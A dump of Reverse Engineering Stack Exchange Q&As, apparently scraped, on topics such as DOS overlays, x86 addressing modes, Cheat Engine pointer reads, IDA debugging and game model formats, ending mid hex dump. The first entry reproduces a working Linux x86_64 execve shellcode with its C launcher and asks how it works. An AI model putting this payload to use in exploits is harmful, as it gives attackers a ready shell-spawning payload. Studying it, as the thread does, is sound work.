        "Body": "<p>I stumbled upon this 31 bytes of <a href=\"https://www.exploit-db.com/exploits/38815/\">Linux x86_64 Polymorphic execve Shellcode</a>, posted by the author \"d4sh&amp;r\":</p>\n\n<p>The code seems to be a combination of assembly and C and looks like this:</p>\n\n<pre><code>/*\n;Title: polymorphic execve shellcode\n;Author: d4sh&amp;r\n;Contact: https://mx.linkedin.com/in/d4v1dvc\n;Category: Shellcode\n;Architecture:linux x86_64\n;SLAE64-1379\n;Description:\n;Polymorphic shellcode in 31 bytes to get a shell \n;Tested on : Linux kali64 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 x86_64 GNU/Linux\n\n;Compilation and execution\n;nasm -felf64 shell.nasm -o shell.o\n;ld shell.o -o shell\n;./shell\n\nglobal _start\n\n_start:\n    mul esi\n    push rdx\n    mov al,1                         \n    mov rbx, 0xd2c45ed0e65e5edc ;/bin//sh \n    rol rbx,24\n    shr rbx,1\n    push rbx\n    lea rdi, [rsp] ;address of /bin//sh\n    add al,58\n    syscall\n\n*/\n#include&lt;stdio.h&gt;\n//gcc -fno-stack-protector -z execstack shellcode.c -o shellcode\nunsigned char code[] = \"\\xf7\\xe6\\x52\\xb0\\x01\\x48\\xbb\\xdc\\x5e\\x5e\\xe6\\xd0\\x5e\\xc4\\xd2\\x48\\xc1\\xc3\\x18\\x48\\xd1\\xeb\\x53\\x48\\x8d\\x3c\\x24\\x04\\x3a\\x0f\\x05\";\n\nmain()\n{\n   int (*ret)()=(int(*)()) code;\n    ret();\n}\n</code></pre>\n\n<p>I was curious, what do each of the lines 17-40 do, specifically, and how does this accomplish an exploit?</p>\n\n<p>(Line 17 is the one with the expression \"global _start\")</p>\n",
        "Title": "What do the 20 lines of executable code in this exploit do?",
        "Tags": "|assembly|c|",
        "Answer": "<p>The answer above is correct for the most part but it includes some inaccuracies. I can't comment so I'll add the corrections in this answer.</p>\n\n<p>First I don't think this is a good shellcode since it takes an assumption on both %rax and %rsi. \n@itsbriany correctly points out that %rax is zero, but that is the case only in the specific launcher that the author wrote.\nWhen defining the ret function the number of arguments isn't specified, making it for the C standard a variadic function. For the x86_64 ABI, if a function has variable arguments then AL (which is part of EAX) is expected to hold the number of vector registers used to hold arguments to that function.\nJust by changing the definition to ret like this:</p>\n\n<pre><code>int (*ret)(void)=(int(*)()) code;\n</code></pre>\n\n<p>results in a segmentation fault. \nThen the operation </p>\n\n<pre><code>mul esi\n</code></pre>\n\n<p>doesn't zero out %esi as the other answers implies. In this case it multiplies %esi and %eax and stores upper bits in %edx lower bits in %eax, thus clearing %edx as a result. %esi is never modified and in fact it still points to the argv array of the original program. In another program where %esi has some invalid values the shell code won't work either. \nAlso %edx is pushed on the stack for no reason it seems.</p>\n"
    },
    {
        "Id": "11406",
        "CreationDate": "2015-11-26T06:05:59.113",
        "Body": "<p>I am trying to add new functionality to a hard-coded exe of a game like adding  new creatures and new spells and adding spells to creatures that did not have them before. For that I need to significantly modify the exe.</p>\n\n<p>It should be theoretically possible to expand an exe file somehow by increasing its binary size. Browsing on the internet I have stumbled upon this tool:<strong><a href=\"http://www.cgsoftlabs.ro/studpe.html\" rel=\"nofollow\">http://www.cgsoftlabs.ro/studpe.html</a></strong></p>\n\n<p>Since I am a RE and assembly newbie I do not get at all how this operates and how I could expand an exe using this.</p>\n\n<p><strong>I have heard about some tools that make this possible on Linux. Are there Windows equivalents?</strong></p>\n\n<p>Alternatively, maybe I could use some sort of dll injection to expand the .exe? Or maybe add functionality through some hooking?</p>\n",
        "Title": "adding data and code to existing .exe file on Windows",
        "Tags": "|disassembly|executable|",
        "Answer": "<p>Sure its possible to increase exe size (that's the trivial part) you just need to add new section to section table. \nI recommend <a href=\"http://www.ntcore.com/exsuite.php\" rel=\"nofollow\">CFF explorer</a> \nIMHO the best PE view/edit tool.\nInvoke context menu from section headers (on the right side) to add new section then fill it with the code, data you want. Next you need to reverse the game and see how its structured and where to patch the code so it will jump to your code. For dll injection you could use <a href=\"http://www.cheatengine.org/\" rel=\"nofollow\">Cheat engine</a> they have a very nice tutorial but you still need to reverse the game and write injection code.dll.</p>\n"
    },
    {
        "Id": "11416",
        "CreationDate": "2015-11-27T15:07:25.083",
        "Body": "<p>for hobby I'm just trying to reverse and old DOS game executable.</p>\n\n<p>I'm quite new with reversing so I'm having hard time understanding some bits about IDA Pro. I let the program choose the best-fit strategy to disassemble the executable and it seems to work fine but some procedures are left unrecognized (marked in red) as in the picture:</p>\n\n<p><a href=\"https://i.stack.imgur.com/ksgSR.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ksgSR.png\" alt=\"enter image description here\"></a></p>\n\n<p>Now I see that I can explicitly mark this as a function but then I'm not able to find any xref to it (also because I guess IDA would already have turned them into procedures if it was the case).</p>\n\n<p>So I was wondering what is the exact purpose of these functions, are they called by dynamically generating the address to them or what? Like a <code>CALL</code> instruction to the content of a register.</p>\n\n<p>A side question: I see that the binary had been split into 4 segments category:</p>\n\n<ul>\n<li>code (clear intent)</li>\n<li>data (clear intent)</li>\n<li>stub</li>\n<li>overlay</li>\n</ul>\n\n<p>While the first two, coming from a C/C++ environment are quite clear I'm trying to understand exactly what the other two are.</p>\n\n<p>If I understood it correctly stub segments are just bridges to procedures which are far from the current executing segment, while overlay segments are segments which are replaced at runtime over the same piece of memory to let the program work with much more code than the addressable space. Is there any good tutorial about this kind of memory management in the old times?</p>\n",
        "Title": "Unrecognized procedures in IDA Pro",
        "Tags": "|ida|dos|",
        "Answer": "<h1>Unused functions in executables</h1>\n<p>There are various explanations for that.</p>\n<p>Obfuscation, as Itsbriany said, but i don't think that was much of a thing in old DOS executables.</p>\n<p>Unneeded library functions. If your code links in, for example, the math library (those old processors typically didn't have math coprocessors for floating point), you'll typically get all of the math emulation. Your program might use <code>sqrt</code> for distance calculations, but never use <code>sin</code>, <code>cos</code> and similar trigonometrics, but they get linked in anway.</p>\n<p>Function pointers. If your original C program had something like    <code>int (*funcs())[]={func1, func2, func3};</code>   <code>int result=(func[index])();</code>\nand these are the <em>only</em> references to <code>func1</code>, <code>func2</code> and <code>func3</code>, then ida won't recognize them as being used. However, you'd find a data xref in them.</p>\n<p>C++ object methods, although when C++ started getting used, 32 bit processors were already common and you'd compile your program to a 32 bit binary using a dos extender. If methods never get called directly, only through the vtable of a class, then the same thing applies as with function pointers.</p>\n<p>Debugging functions in the original source code that just never get called in the finished binary. If the programmer did something like</p>\n<pre><code>#ifdef DEBUG\nsome_function(parm1, parm2, another_parm);\n#endif\n</code></pre>\n<p>and forgot to put <code>some_function</code> into <code>#ifdef</code> as well, then the finished binary will still have <code>some_function</code>, but no call to it.</p>\n<p>More than one programmer working on independent parts of the code. One programmer might have been assigned to the task of reading/writing a config file, and he implemented <code>read_config()</code> and <code>write_config()</code>. Later, someone decided that the game should only use <code>read_config()</code>, and the configuration part should be done in a separate setup program. If both functions are in the same source file, they'll be compiled  into - and linked in from - one single object file anyway.</p>\n<h1>Overlays in old dos programs</h1>\n<p>I don't know about a good tutorial, but here's basic info about overlays:</p>\n<p>You needed to identify parts of your code that didn't require each other when running. For example, your program might have a bunch of functions to navigate a world map, a different bunch of functions to navigate a dungeon, and a third bunch of functions to interact with a shopkeeper.</p>\n<p>You'd compile those separately, so you get 4 files: <code>main_game.exe</code>, <code>world.ovl</code>, <code>dungeon.ovl</code>, and <code>shopkeeper.ovl</code>. (Oops, there was an 8 character limit to filenames.) <code>main_game.exe</code> would be loaded into low ram, and calculate a segment for the overlays to load in - all at the same address. The easiest way to do this is make a segment that has only one variable, which gets loaded last - the address of that variable would be the address to load the overlays to. Let's name it <code>overlay_start</code>.</p>\n<p>To connect the main .exe to the overlays, each of the overlays would have a jump table at the start. For example, in world.ovl:</p>\n<pre><code>0000 jmp show_world_map\n0004 jmp draw_player_on_world_map\n0008 jmp draw_enemies_on_world_map\n....\n</code></pre>\n<p>and in dungeon.ovl:</p>\n<pre><code>0000 jmp show_dungeon_map\n....\n</code></pre>\n<p>Now you needed a bunch of functions to link into your main program to call these overlay functions, which all looked basically the same:</p>\n<pre><code>extern int (*overlay_start())[];\n\nvoid show_world_map() { load_overlay(&quot;world.ovl&quot;); overlay_start[0](); }\nvoid draw_player_on_world_map() { load_overlay(&quot;world.ovl&quot;); overlay_start[1](); }    \nvoid draw_enemies_on_world_map() { load_overlay(&quot;world.ovl&quot;); overlay_start[2](); }\n\nvoid show_dungeon_map() { load_overlay(&quot;dungeon.ovl&quot;); overlay_start[0](); }\n....\n\nvoid load_overlay(char *filename) {\n    /* omitting all the error checking, loops for more than 64KB, etc.) */\n    FILE *fp=fopen(filename, &quot;rb&quot;);\n    fread(overlay_start, 1, SOME_LARGE_NUMBER, fp);\n    fclose(fp);\n}\n</code></pre>\n<p>(I omitted the function parameters in this example to keep it concise).</p>\n<p>Depending on your compiler, much of that could be auto-generated. And these functions, possibly including the <code>load_overlay</code> function, is typically what goes into the <code>stub</code> section. It's just a bunch of functions that keep the linker happy when linking <code>main_game.exe</code>, make sure the correct overlay is loaded, call the intended function, then return.</p>\n"
    },
    {
        "Id": "11417",
        "CreationDate": "2015-11-27T16:24:05.547",
        "Body": "<p>This question is based off of my answer to a world building question: <a href=\"https://worldbuilding.stackexchange.com/questions/30471/how-could-a-blind-alien-race-interpret-video-broadcast-into-space/30497?noredirect=1#comment80601_30497\">https://worldbuilding.stackexchange.com/questions/30471/how-could-a-blind-alien-race-interpret-video-broadcast-into-space/30497?noredirect=1#comment80601_30497</a>  In which I argued that aliens wouldn't be able to interpret out data because they couldn't reliably reverse engineer captured signals.  I'm not asking anyone to answer that question in it's entirety, but I do want to check my basic assumption in one area; and besides I'm now curious as a programmer who keeps trying to come up with ways to solve the challenge lol.</p>\n\n<p>Assuming that you were handed a huge collection of binary data in a completely foreign format, with no other knowledge about it other then the fact that it was not encrypted or intentionally obfuscated, and you don't know what is encoded (video, picture, executable program etc), how feasible is it to reverse engineer it to figure out the how to interpret the data?  That is to say how hard is it to both 'crack' the encoding algorithm, and how hard is it to correctly identify what type of data was originally encoded to begin with?  </p>\n\n<p>Closely related, how likely is it to get a 'false positive' by coming up with an interpretation that looks valid but is not how the data was actually encoded?  Or even come up with an entirely different type of encoded data (thinking an audio encoding was video etc)</p>\n",
        "Title": "How hard is it to interpret binary data of a new and unknown format, if it's unknown what data is encoded?",
        "Tags": "|binary-analysis|",
        "Answer": "<p>Encodings of transmissions such as TV, radio, microwave data transmissions, occur at a number of different layers. Essentially there is a protocol stack. </p>\n\n<p>Someone looking at a transmission can infer information in a lot of ways. The mere existence of a signal with enough pattern to suggest intelligent life communicates a lot - a lot more than just \"there's other intelligent life\". The volume of transmissions alone would say a lot, especially if observed across decades. The timing of transmissions would suggest things like: night and day correspond to different levels and kinds of activities.</p>\n\n<p>Starting at the bottom of the transmission's \"stack\", a few suppositions could be made: light seems to be the only reasonable transmission medium at distances where \"alien\" makes sense. Up until 20 or so years ago, a good percentage of the transmissions from earth were analog. </p>\n\n<p>At the lowest \"protocol\" level our methods for analog encoding info onto light were pretty simple: vary amplitude, vary frequency, vary phase. So it seems like most \"aliens\" capable of receiving electromagnetic (light) transmissions would be able to detect the fact that our transmissions varied one or two of these very basic properties. And with that they begin the decoding process. If they received an AM radio transmission, it would be easy to recover the original waves of what we call sound. Assuming the aliens had some sense that responded to our \"sound\" waves (or alternatively responded directly to the raw AM waves), they could \"hear\" the message pretty much the same way the radio station created it.</p>\n\n<p>They would then have the problem of interpreting our language, but it's not much of a stretch (though it might take a long time) to imagine that happening, given what linguists on Earth are capable of.</p>\n\n<p>Once they've decoded AM radio and some of our natural languages, then decoding something else, maybe FM radio, becomes much easier. From there, maybe not too hard to decode the audio portion of TV signals. </p>\n\n<p>Decoding video would be greatly aided if the aliens had a sense(s) similar to (or the same as) sight and had similar persistence of vision. Someone analyzing a video transmission at the lowest level could piece together several layers of repetition: the scan lines repeat something like 15000 times a second and the frames repeat about 30 times a second and the frames might be interlaced. One could see that each scan line is usually pretty similar to the one before it. A map could be drawn that shows how each scan line morphs into the line that follows it. After drawing a few hundred of those a frame would appear. Also the vertical blanking interval would be a clue that would signal the end of one frame and the beginning of the next. Each frame would generally look similar to the previous one, but usually some changes. This would suggest a series of pictures of something that changes over time. In other words video. The accompanying audio could be easily correlated with the movement of mouths, things impacting each other, and so on.</p>\n\n<p>With the decoding of analog TV, it then becomes possible to associate spoken language with written language, from both sub titles and TV ads. And a whole lot of cultural info could be gleaned by watching TV and listening to radio. It would become clear what kind of things we cared about in these transmissions.</p>\n\n<p>So when it came to decoding digital transmissions a whole lot of groundwork would already have done. For example, seeing TV broadcasts with a lot of information about the stock market would go a long way towards decoding contemporaneous digital transmissions about the stock market.</p>\n"
    },
    {
        "Id": "11419",
        "CreationDate": "2015-11-27T19:35:26.647",
        "Body": "<p>So I have finished step 8 of the Cheat Engine tutorial and obtained a static address with corresponding offsets to manipulate a value which should be changed to progress in the tutorial. The expression I obtained looks like this</p>\n\n<pre><code>[[[[[00645390]+C]+14]+0]+18]\n</code></pre>\n\n<p>I want to go a step further and write a simple (either C++ or C#) program which will access the value stored at this spot and both read from the memory and write to it. What I am not sure about yet is how to access this particularly. I guess it isn't as easy as directly accessing the address <code>00645390</code> in memory - do I have to add it to the base address of the application itself? If yes, how may I acquire the address to start working through all those pointers?</p>\n",
        "Title": "Using multilevel pointers obtained via cheat engine in own application",
        "Tags": "|windows|debugging|tools|",
        "Answer": "<p>you need OpenProcess()->ReadprocessMemory() and or QueryVirtualEx()</p>\n\n<p>you can use lkd or livekd to achieve the result </p>\n\n<pre><code>livekd.exe\nkd&gt; !process 0 0\n................\nPROCESS 89d1d328  SessionId: 0  Cid: 0238    Peb: 7ffde000  ParentCid: 075c\n    DirBase: 14980320  ObjectTable: e14106f0  HandleCount:  23.\n    Image: Tutorial-i386.exe\n........................\nkd&gt; .process /p /r 89d1d328\nImplicit process is now 89d1d328\nLoading User Symbols\n.................\nkd&gt; ? poi(poi(poi(poi(poi(645390)+c)+14)+0)+18)\nEvaluate expression: 1666 = 00000682]\n</code></pre>\n\n<p><img src=\"https://i.stack.imgur.com/b825y.png\" alt=\"[1]\"></p>\n\n<p>here is a sample code that employs <code>dbgeng functions</code> from windbg sdk<br>\nerror checks dbg prints removed for brevity<br>\nassumes the module address space is <code>not randomised / rebased</code>  (so uses <code>645390</code> as it is )<br>\nelse you may need to find the module base from Ce calculate R<code>VA from address (645390 -modbase)</code><br>\nin your code find the modbase and add the calculated rva to read the pointer<br>\n<code>if modbase</code> in your code was <code>400000</code> and <code>rva</code> was <code>1390</code> use <code>401390</code> instead of <code>645390</code>   </p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;engextcpp.hpp&gt;\nint __cdecl main( void  ){\n    IDebugClient*     g_Client      = NULL;\n    IDebugControl*    g_Control     = NULL;\n    IDebugSymbols*    g_Symbols     = NULL;\n    IDebugDataSpaces* g_Data        = NULL;\n    ULONG             Pid           = NULL;\n    ULONG             bytesread     = NULL;\n    ULONG             ptr           = NULL;\n    DebugCreate( __uuidof(IDebugClient), (void**)&amp;g_Client );\n    g_Client-&gt;QueryInterface( __uuidof(IDebugControl), (void**)&amp;g_Control );\n    g_Client-&gt;QueryInterface( __uuidof(IDebugSymbols), (void**)&amp;g_Symbols );\n    g_Client-&gt;QueryInterface( __uuidof(IDebugDataSpaces), (void**)&amp;g_Data );\n    g_Client-&gt;GetRunningProcessSystemIdByExecutableName(\n        0,\"Tutorial-i386.exe\",DEBUG_GET_PROC_ONLY_MATCH,&amp;Pid);\n    g_Client-&gt;AttachProcess(0,Pid,DEBUG_ATTACH_NONINVASIVE);\n    g_Control-&gt;WaitForEvent( 0, INFINITE );\n    g_Data-&gt;ReadVirtualUncached(0x645390,&amp;ptr,sizeof(ptr),&amp;bytesread);\n    g_Data-&gt;ReadVirtualUncached((ptr+0xc),&amp;ptr,sizeof(ptr),&amp;bytesread);\n    g_Data-&gt;ReadVirtualUncached((ptr+0x14),&amp;ptr,sizeof(ptr),&amp;bytesread);\n    g_Data-&gt;ReadVirtualUncached((ptr+0x0),&amp;ptr,sizeof(ptr),&amp;bytesread);\n    g_Data-&gt;ReadVirtualUncached((ptr+0x18),&amp;ptr,sizeof(ptr),&amp;bytesread);\n    printf(\"%-15s%d\\n\",\"5th lvl ptr =\", ptr);\n    g_Client-&gt;DetachProcesses();\n    return 0;\n}\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/Abh6p.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Abh6p.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "11438",
        "CreationDate": "2015-11-30T09:02:53.320",
        "Body": "<p>I want to launch IDA debugger for one 64-bit exe file and it fails, have tried with more samples, but result always the same. </p>\n\n<p>Here is that I do.</p>\n\n<ol>\n<li>Launch <code>IDA Pro (64-bit)</code></li>\n<li>Select <code>Debugger</code> -> <code>Run</code> -> <code>Local Windows Debugger</code> from top menu.</li>\n<li>Select my file. <a href=\"https://i.stack.imgur.com/QClOU.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/QClOU.png\" alt=\"How it looks\"></a> and click <code>OK</code>.</li>\n<li>At this point getting such prompt. <a href=\"https://i.stack.imgur.com/6jANx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6jANx.png\" alt=\"prompt\"></a> and click <code>Yes</code>.</li>\n<li>Finally got such error: <a href=\"https://i.stack.imgur.com/M0U3g.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/M0U3g.png\" alt=\"error1\"></a></li>\n<li>And after that this-one: <a href=\"https://i.stack.imgur.com/HM5Mv.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/HM5Mv.png\" alt=\"error2\"></a></li>\n</ol>\n\n<p>It happens all the time, have tried it on a few different VMs on my actual machine. I'm using full version of IDA v6.7.141229.</p>\n\n<p>I believe something has to be configured, as the last error says something about wrong parameters, can someone advice?</p>\n",
        "Title": "IDA cannot launch debugger for 64-bit exe files",
        "Tags": "|ida|x86-64|",
        "Answer": "<p>I write this mostly for myself as I'm tired of going thru this over and over again. Here's how you can debug x64 processes on a local machine with IDA Pro:</p>\n\n<p>(1) Create a .bat file with the following:</p>\n\n<pre><code>\"C:\\Program Files (x86)\\IDA 6.5\\dbgsrv\\win64_remotex64\" -Pnh8sy261\n</code></pre>\n\n<p>in this case it's the location of <code>win64_remotex64</code> or remote debugger and <code>nh8sy261</code> is just some random password. You pick it. Make sure though not to put any spaces after the <code>-P</code> parameter and the password.</p>\n\n<p>(2) Run batch file from (1) as admin.</p>\n\n<p>(3) Open 64-bit version of IDA Pro as admin. (File <code>\"C:\\Program Files (x86)\\IDA 6.5\\idaq64.exe\"</code>)</p>\n\n<p>(4) Pick <code>Go</code> to work on your own. Then in the blank IDA Pro window, in the menu go to <code>Debugger -&gt; Run -&gt; Remote Windows debugger</code>. Then in the <code>Application</code> pick your application with the <code>...</code> button. Specify debuggee parameters and directory, if needed. Then in the <code>Hostname</code> add <code>127.0.0.1</code>, port as <code>23946</code> and password as what you typed above in the batch file:</p>\n\n<p><a href=\"https://i.stack.imgur.com/4EZU5.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/4EZU5.png\" alt=\"enter image description here\"></a></p>\n\n<p>You can also check to <code>Save network settings as default</code> for later access. Then click OK.</p>\n\n<p>(5) At this point the debugger should load the <code>debuggee</code> process and you should be able to step through it.</p>\n"
    },
    {
        "Id": "11442",
        "CreationDate": "2015-11-30T16:46:53.997",
        "Body": "<p>I'm trying to have a whole picture of all the possible addressing modes of X86 instructions. Starting from this I studied the Intel IA-32 reference and multiple secondary references found online.</p>\n\n<p>I'd like to understand them correctly, so here's my doubts:</p>\n\n<p><a href=\"https://i.stack.imgur.com/bChVS.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/bChVS.png\" alt=\"16bit Addressing Modes\"></a></p>\n\n<ul>\n<li><code>mod == 0b11</code>: direct value contained in register is accessed, quite clear</li>\n<li><code>mod != 0b11</code>: these are all indirect values, with optional 8 bit or 16 bit displacement to the final value, so we refer to the value contained in the computed address.</li>\n</ul>\n\n<p>My doubts:</p>\n\n<ul>\n<li>the 16 bit displacement is signed or unsigned? Eg <code>mov ax, [SI + 40000]</code> vs <code>mov ax, [SI - 1000]</code></li>\n<li>what is exactly the case <code>mod == 0b00 &amp; R/M == 0b110</code>? It' just a indirect absolute value, eg <code>mov cl, [1234h]</code>, which masm compile as <code>8b0e3412: mov cx, WORD PTR ds:0x1234</code></li>\n<li>are all these indirect addressing always relative to a segment? From the refence it sounds like that in 16 bit mode everything is always relative to DS, unless BP is contained in the indirect address, in that case SS is used (or a specific segment override is used). So basically <code>[BP+SI+10h]</code> always means <code>SS:[BP+SI+10h]</code> where SS segment is shifted by 4 bits to the left.</li>\n<li>which is the exact role of 67h prefix in this context? If I use a 67h prefix it's like switching the table of 16 bit addressings with the 32 bit addressing and viceversa? (according to the current executing mode).</li>\n<li>and what about 66h? Does it just change the \"size\" of data moved between 16 bits and 32 bits? Eg, forcing 32 bit operand size means that a 32 bit register will be selected and always 4 bytes of memory will be fetched from the indirect address and vice versa?</li>\n</ul>\n\n<p>And now the 32-bit addressing modes</p>\n\n<p><a href=\"https://i.stack.imgur.com/GbrxF.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/GbrxF.png\" alt=\"32 Addressing modes\"></a></p>\n\n<ul>\n<li><code>mod == 0b11</code>: direct value, as for 16 bit, quite clear</li>\n<li><code>mod == 0b00 &amp;&amp; R/M == 0b101</code>: raw value as for the 16 bits addressing case</li>\n<li><code>mod != 0b11 &amp;&amp; R/M == 0b100</code>: the R/M doesn't specify a register but the SIB mode, so we can specify a base register + an index register + a scale value</li>\n</ul>\n\n<p>Here everything is enough clear, I was just wondering, as for 16 bits if displacement in 32 bits are signed or unsigned? SIB and displacement can be combined easily if I understand it correctly, eg <code>[EAX + EBX*2 + 10]</code> will generate a <code>mod == 01</code> with specific SIB byte and additional single byte for signed displacement. Are these values considered absolute in a flat memory space or segments must be considered here too?</p>\n",
        "Title": "Understanding subtle differences between addressing modes in X86",
        "Tags": "|assembly|x86|",
        "Answer": "<p>These are a lot of questions at once, i'll answer at least some of them. But, please not, unless you're writing an assembler or disassembler yourself, you shouldn't really go into the gory details of every single bit. And unless you have done a lot of programming in assembler, and reading and understanding disassembled code, you shouldn't even try to write an assembler or disassembler yourself.</p>\n\n<p>Don't misunderstand me, writing your own assembler <em>can</em> be an interesting and educational experience. But the gory details aren't first thing you should learn to understand the concept of a processor and its assembly language.</p>\n\n<p>That out of the way:</p>\n\n<p>It doesn't matter if the 16 bit displacement is signed or unsigned. If it overflows, it overflows, and it's always cut to 16 bit. So if you add offset <code>0xfff0</code> to address <code>0x1234</code>, you'll get <code>0x1224</code> as result.  It doesn't really matter if you interpret this as \"<code>0xfff0</code> is equal to <code>-0x0010</code>, so we subtract <code>0x10</code> from <code>0x1234</code>\" or \"add <code>0xfff0</code> to <code>0x1234</code>, get <code>0x11224</code>, and strip the overflow bit\". Or, if you add <code>0x89ab</code> and <code>0x89ab</code>, you get <code>0x1356</code>. <code>0x11356</code> with the overflow bit stripped, to be precise. It doesn't matter if you take <code>0x89ab</code> as (decimal) <code>35243</code>, or <code>-30293</code>. The possible results - <code>35243+35243=70486</code>, <code>35243-30293=4950</code>, <code>-30293-30293=-60586</code> - do all have the same representation - <code>0x1356</code> - in 16 bit hex.</p>\n\n<p>Yes, mod=<code>0b00</code> and R/M=<code>0b110</code> is just an indirect address. <code>mov cx, [1234h]</code> and <code>mov cx, WORD PTR ds:0x1234</code> are two ways of writing the same thing. Note i corrected your <code>cl</code> to <code>cx</code>; whether or not you use an 8-bit or 16-bit register is part of the instruction, not of the addressing mode. If you have a register, the size is clear from the register name, but in an instruction like <code>mov [1234h],5</code>, you don't know if the 5 is a byte, word, or dword value. <code>mov word ptr ds:1234h, 5</code> makes this clear.</p>\n\n<p>Yes, all addresses are relative to the chosen segment - <code>ds</code> in most cases, <code>ss</code> if you use <code>bp</code>, and the given register if you use an explicit override prefix. Note there wasn't a way to index relative to <code>sp</code> in 16 bit mode, and <code>bp</code>, if used at all, was always the first register in <code>R1+R2</code> combinations, forcing <code>ss</code> to be used with <code>bp</code>. In 32 bit mode, more combinations are possible, and <code>[ebp+ebx]</code> uses <code>ss</code>, while <code>[ebx+ebp]</code> uses ds. (However, 32 bit mode also means protected mode, and in all but the most pathological cases, operating systems use the same selector values for <code>ss</code> and <code>ds</code>, and <code>cs</code> as well. See below).</p>\n\n<p>So <code>[BP+SI+10h]</code> means <code>[SS:BP+SI+10h]</code>, which means <code>(SS&lt;&lt;4 + BP + SI + 10h)</code> on the address bus lines. Note that those 16 bit processors had 20 bits on the address bus, which means overflow could occur, and the overflow bit was cut off as well. So, FFF0:0010 and 0000:0000 are actually the same address on an 8086 - <code>00000</code> - since bit 20 from <code>100000</code> got cut off. On a 32 bit processor, this bit 20 actually exists. Which means some programs, that used that mechanism to obfuscate their copy protections, stopped working when the 80386 was introduced. Or would have, if IBM hadn't invented a mechanism around it - the nefarious A20 gate. Google for that if you're inclined to do so.</p>\n\n<p>Prefixes <code>66h</code> and <code>67h</code> - ask someone else. Although i've been reading and writing assembler code for more than 20 years, i never had reason to learn the relation between hex bytes and processor instructions. See above. Well, i guess there are two exceptions: <code>90h</code> is <code>NOP</code>, and <code>cch</code> is <code>INT3</code>. And byte sequences like <code>PQRST</code>, <code>50h 51h 52h 53h 54h</code> are push-register instructions, which makes them useful for locating procedure starts.</p>\n\n<p>In 32 bit modes, the displacements are just as \"signed\" or \"unsigned\" as in 16 bit modes. Just treat them as 32 bit values that get added, which might result in an overflow that's thrown away. </p>\n\n<p>And of course, these values are considered relative to the \"segment\"s as well. Just that 32 bit implies protected mode, which means the segments are called selectors, have different semantics, and get generally ignored by most application programmers.</p>\n\n<h1>A word to segments, why they mattered, and don't (normally) matter any more:</h1>\n\n<p>At first, when the 8086 was introduced, it was meant to replace the older 8080 processor (and the Z80, which was from a different company, compatible to the 8080, but better and more successful). The 8080 had 64 KB at a maximum altogether, so programmers had to squeeze everything - code, data, stack - into those 64 KB, and most of the time, a part of these 64 KB was used by hardware, so you had even less.</p>\n\n<p>When the 8086, and the segment registers, were designed, someone at intel probably thought \"We're giving people much more space - 64 kb code AND 64 kb data AND 64 kb stack, so programs can be much larger; we can multitask between several programs, the operating system will manage the segment registers to assign space to each program, and every program can be so much bigger than today\".</p>\n\n<p>But in fact, programs got much larger quickly, so the idea \"segment registers should concern the OS only\" wasn't ever used. Instead, programs had to juggle segments on their own, which was a major PITA for everybody from compiler builders to application programmers, and everybody had to learn - and know - about them to get anything done.</p>\n\n<p>When 32 bit processors started, with 4 GB addressable in a <em>linear</em> fashion, segments suddenly became big enough that application programmers didn't have to care about them anymore. These days, juggling segments and assigning them to memory maps is strictly the task of the operating system, and due to protected mode, programs couldn't change them even if they wanted. So, what most operating systems do is provide one single flat block of memory to the program, and have <code>cs</code>, <code>ds</code>, <code>es</code> and <code>ss</code> map to that block identically. Your application just sees 4 GB of addressable memory (not all of that needs to be truly mapped to physical memory however), and it doesn't matter to the application anymore which segment registers it uses - <code>[DS:1234]</code> is the same as <code>[ES:1234]</code> is the same as <code>[SS:1234]</code> is the same as <code>[CS:1234]</code>.</p>\n\n<p>The exception to this is the new registers <code>FS</code> and <code>GS</code>, for example, Windows uses <code>FS</code> for <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms680657%28v=vs.85%29.aspx\" rel=\"noreferrer\">Structured Exception Handling</a>, and Linux uses <code>GS</code> for <a href=\"http://wiki.osdev.org/Thread_Local_Storage\" rel=\"noreferrer\">Thread local storage</a>. These segments are NOT mapped to the standard 4 GB block, but an application won't notice, since neither of these registers is ever used without an explicit prefix. (Note <code>ES</code> can not be used in the same way, since instructions like <code>stos[bwd]</code> and <code>movs[bwd]</code> use <code>ES:EDI</code> by default).</p>\n"
    },
    {
        "Id": "11451",
        "CreationDate": "2015-12-03T13:28:02.203",
        "Body": "<p>I'm trying to reverse engineer 3D models (cars) from a racing game from 1997 (<a href=\"https://en.wikipedia.org/wiki/Test_Drive_4\">Test Drive 4</a>). I'm able to extract the 3D mesh and textures, but cannot figure out how UV mapping works yet.</p>\n\n<p>There is only one file per car which contains everything (3D model, textures, dashboard, tuning, etc.). The 3D model section contains a vertices list and polygons list. A single polygon looks as follows:</p>\n\n<pre><code>Triangle\n{\n    ulong       beg = 0xffff0000\n    ushort      texture     // 0 = car bottom, 3 = body\n    ubyte[6]    unknown     // UV mapping???\n    ulong[3]    vertices    // Indices\n    ulong       end = 0x00000000\n}\n</code></pre>\n\n<p>I found that the 6-byte <code>unknown</code> section contains UV data, since there is a clear difference ingame when I modify these values. It is 6 bytes long so it can hold a U &amp; V value for each of the 3 vertices. However, I have absolutely no idea how to interpret these numbers. I've tried reading them as bytes and dividing by 255 to convert them to floats ranging from 0 to 1, without success. Are they possibly 8-bit floats? (I don't understand how these work, so can't be sure.)</p>\n\n<p>Below is a hex dump of 80 polygons (one per line).</p>\n\n<pre><code>FF FF 00 00 03 00 7B 7B 7D AD BE AD 00 00 00 00 01 00 00 00 02 00 00 00 00 00 00 00\nFF FF 00 00 03 00 7B 7D 7D BE BE AD 01 00 00 00 03 00 00 00 02 00 00 00 00 00 00 00\nFF FF 00 00 03 00 3E 1C 3E BE BE C9 04 00 00 00 05 00 00 00 06 00 00 00 00 00 00 00\nFF FF 00 00 03 00 1C 1C 3E BE CB C9 05 00 00 00 07 00 00 00 06 00 00 00 00 00 00 00\nFF FF 00 00 